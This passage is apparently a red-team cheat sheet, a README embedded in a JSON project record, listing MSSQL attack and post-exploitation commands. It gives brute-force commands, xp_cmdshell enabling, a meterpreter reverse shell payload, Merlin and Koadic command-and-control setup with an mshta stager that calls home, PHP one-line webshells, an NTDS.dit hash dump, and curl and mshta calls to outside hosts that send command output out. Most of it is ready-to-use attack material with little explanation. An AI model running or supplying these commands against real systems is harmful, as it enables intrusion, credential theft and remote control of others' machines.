--script=banner,ms-sql-empty-password,ms-sql-dac,ms-sql-dump-hashes,ms-sql-info,ms-sql-ntlm-info,vulners -oA \u003cIP\u003e_mssql.txt \u003cIP\u003e\nnmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=user.txt,passdb=pass.txt 192.168.1.1\nnmap -p 1433 --script ms-sql-brute --script-args userdb=user.txt,passdb=pass.txt 192.168.1.1\nHydra\nhydra -L userlist_sqlbrute.txt -P quick_password_spray.txt -f -o output.ms-sql -u \u003cIP\u003e -s \u003cPORT\u003e\n```\n**MetaSploit**\n```\nmsf \u003e use auxiliary/admin/mssql/mssql_enum\nmsf \u003e use auxiliary/scanner/mssql/mssql_login\nSet it up PASS_FILE and RHOSTS.\n```\n**PowerUpSQL**\n```\nInvoke-SQLAuditWeakLoginPw\n```\n**FScrack**\n```\npython FScrack.py -h 192.168.1 -p 1433 -d pass.txt\n```\n## Exploitation\n**Nmap**\n```\nnmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.10\nnmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=\"whoami\" 192.168.1.10\n```\n**MetaSploit**\n```\nmsf \u003e auxiliary/admin/mssql/mssql_exec\nmsf \u003e auxiliary/admin/mssql/mssql_sql \nRebound\nmsf \u003e use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) \u003e set PAYLOAD windows/meterpreter/reverse_tcp \n```\n**MSDAT**\nAll the included above could be tested using MSDAT only.\n\u003cbr\u003e\nGetting a shell\n```\nmsdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell\nmssql_shell python script\n```\n\n**python [mssql_shell.py](https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py) script**\n```\nUsage : mssql_shell Change MSSQL_SERVE , MSSQL_USERNAME and MSSQL_PASSWORD\n```\n**Sqsh**\n\u003cbr\u003e\nConnect to the service \n```\nsqsh -S mssql -D MyDB -U DOMAIN\\\\testuser -P MyTestingClearPassword1\n```\nThen\n```\nexec sp_configure ‘show advanced options’, 1\ngo\nreconfigure\ngo\nexec sp_configure ‘xp_cmdshell’, 1\ngo\nreconfigure\ngo\nxp_cmdshell 'dir C:\\'\ngo\n```\n# C\u0026C\n\n## Merlin\n\nCompile and run server\n\n```\n$ cd merlin/cmd/merlinserver\n$ go build\n$ sudo ./merlinServer-Linux-x64 -i 192.168.1.11 -p 8443\n```\n\nCompile agent\n\n```\n$ cd merlin/cmd/merlinagent\n$ sudo GOOS=windows GOARCH=386 go build\n```\n\n\nGenerate Certificate\n\n```\n$ cd merlin/data/x509\n$ openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj \"/CN=lab.com\" -days 365\n```\n\n## Koadic\n\n```\n$ cd koadic\n$ ./koadic\n                           / \\\n     _                   _ | |\n    | | _____   __ _  __| || |  ___\n    | |/ / _ \\ / _` |/ _` ||.| / __|\n    |   / (o) | (_| | (_| ||.|| (__\n    |_|\\_\\_^_/ \\__,_|\\__,_||:| \\___|\n                           |:|\n                        ~\\==8==/~\n                            8\n                            O\n\n        -{ COM Command \u0026 Control }-\n      Windows Post-Exploitation Tools\n             Endless Intellect\n\n            ~[ Version:  0xA ]~\n            ~[ Stagers:    5 ]~\n            ~[ Implants:  33 ]~\n\n(koadic: sta/js/mshta)$ info\n\n        NAME        VALUE               REQ     DESCRIPTION     \n        -----       ------------        ----    -------------   \n        SRVHOST     192.168.1.11        yes     Where the stager should call home\n        SRVPORT     9999                yes     The port to listen for stagers on\n        EXPIRES                         no      MM/DD/YYYY to stop calling home\n        KEYPATH                         no      Private key for TLS communications\n        CERTPATH                        no      Certificate for TLS communications\n        MODULE                          no      Module to run once zombie is staged\n\n(koadic: sta/js/mshta)$ set SRVPORT 1245\n[+] SRVPORT =\u003e 1245\n(koadic: sta/js/mshta)$ run \n[+] Spawned a stager at http://192.168.1.11:1245/c26qp\n[!] Don't edit this URL! (See: 'help portfwd')\n[\u003e] mshta http://192.168.1.11:1245/c26qp\n\n```\n# PHP Tiny Webshell\n```\n\u003c?= ($_=@$_GET[0]).$_(@$_GET[1]); //http://127.0.0.1/shell.php?0=system\u00261=ls\n\u003c?=`$_GET[0]`?\u003e //http://127.0.0.1/shell.php??0=command\n```\n\n# Donwload file to the victim machine\n```\nbitsadmin  /transfer mydownloadjob  /download  /priority normal  ^http://example.com/filename.zip  C:\\Users\\username\\Downloads\\filename.zip\n```\n# Internal Monolog\nRetrieving NTLM Hashes without Touching LSASS\n\nhttps://github.com/eladshamir/Internal-Monologue\n\n# NTDS - Domain Controller\nDumping and enumerating NTDS.dit - a file that contains information about Active Directory users (hashes!).\n\n```\npowershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\\temp' q q\"\n```\nDump hashes \n```\n/usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local\n```\n# Interactive shell with nc\n```\nrlwrap nc -nlvp PORT\n```\n# Tipis and tricks\n### RCE POC\nWe can use the folloiwng tricks as an RCE POC(in some engagements, the client asks for a limited tests on RCE POCs).\n## Ping\nPentester machine\n```bash\ntcpdump -nni \u003ceth-adapter\u003e -e icmp[icmptype] == 8\n```\nUnder the exploit run\n```bash\nping \u003cAttacker-IP\u003e\n```\nYou can specify a number of pings with -c agrments, If ICMP requests recieved, RCE achieved\n\n## Curl\nExecute commands and recieve data with the POST request\n```bash\ncurl -d \"$(id)\" 127.0.0.1:9988\n```\nRecieve data\n```bash\nnc -nlvp 9988\n```\n\n## Burpsuite Collaborator \nUse burpcollaborator as POC\n* Linux\n```bash\ncurl \u003cburp-collaborator.com\u003e\n```\n* Windows\n```bash\nmshta \u003cburp-collaborator.com\u003e\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fihebski%2Fa-red-teamer-diaries","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fihebski%2Fa-red-teamer-diaries","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fihebski%2Fa-red-teamer-diaries/lists"}